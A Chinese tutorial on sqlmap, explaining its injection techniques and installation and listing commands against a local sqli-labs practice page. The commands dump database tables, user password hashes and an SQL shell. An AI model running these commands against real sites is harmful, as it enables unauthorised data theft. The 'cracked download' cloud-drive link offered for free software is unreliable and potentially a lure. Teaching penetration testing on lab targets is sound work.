sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
官方网站:http://sqlmap.org/,
下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
破解下载
链接:https://pan.baidu.com/s/1ycONYIibs5dYGcEuBK4xOg
提取码:1188
•Sqlmap采用了以下5中独特的SQL注入技术。
–1.基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
–2.基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
–3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
–4.联合查询注入,在可以使用union的情况下的注入。
–5.堆查询注入,可以同时执行多条语句时的注入。
•SQLmap的强大功能包括数据库指纹识别、数据库枚举、数据库提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。Sqlmap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用sqlmap会有意想不到的效果。
安装
1.SQLmap的安装需要Python环境(不支持Python3),本节使用的是Python2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量中去。
2.然后在sqlmap的官网下载最新版本的sqlmap,下载到Python的安装目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。
判断是否存在注入
假定目标注入点是http://127.0.0.1/sql/Less-1/?id=1,判断其是否存在注入的命令如下:
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --batch
还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所示:
Sqlmap.py –u “ [http://127.0.0.1/](http://127.0.0.1/sql/Less-1/?id=1&uid=2)[sql](http://127.0.0.1/sql/Less-1/?id=1&uid=2)[/Less-1/?id=1&uid=2](http://127.0.0.1/sql/Less-1/?id=1&uid=2)”
查询当前用户下的所有数据库
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --dbs
获取数据库中的表名
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security --tables
获取表中的字段名
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security –T users --columns
获取字段内容
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security –T users –C id,password,username --dump
获取数据库中所有的用户
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --users
获取数据库用户的密码
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --passwords
运行自定义sql语句
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --sql-shell
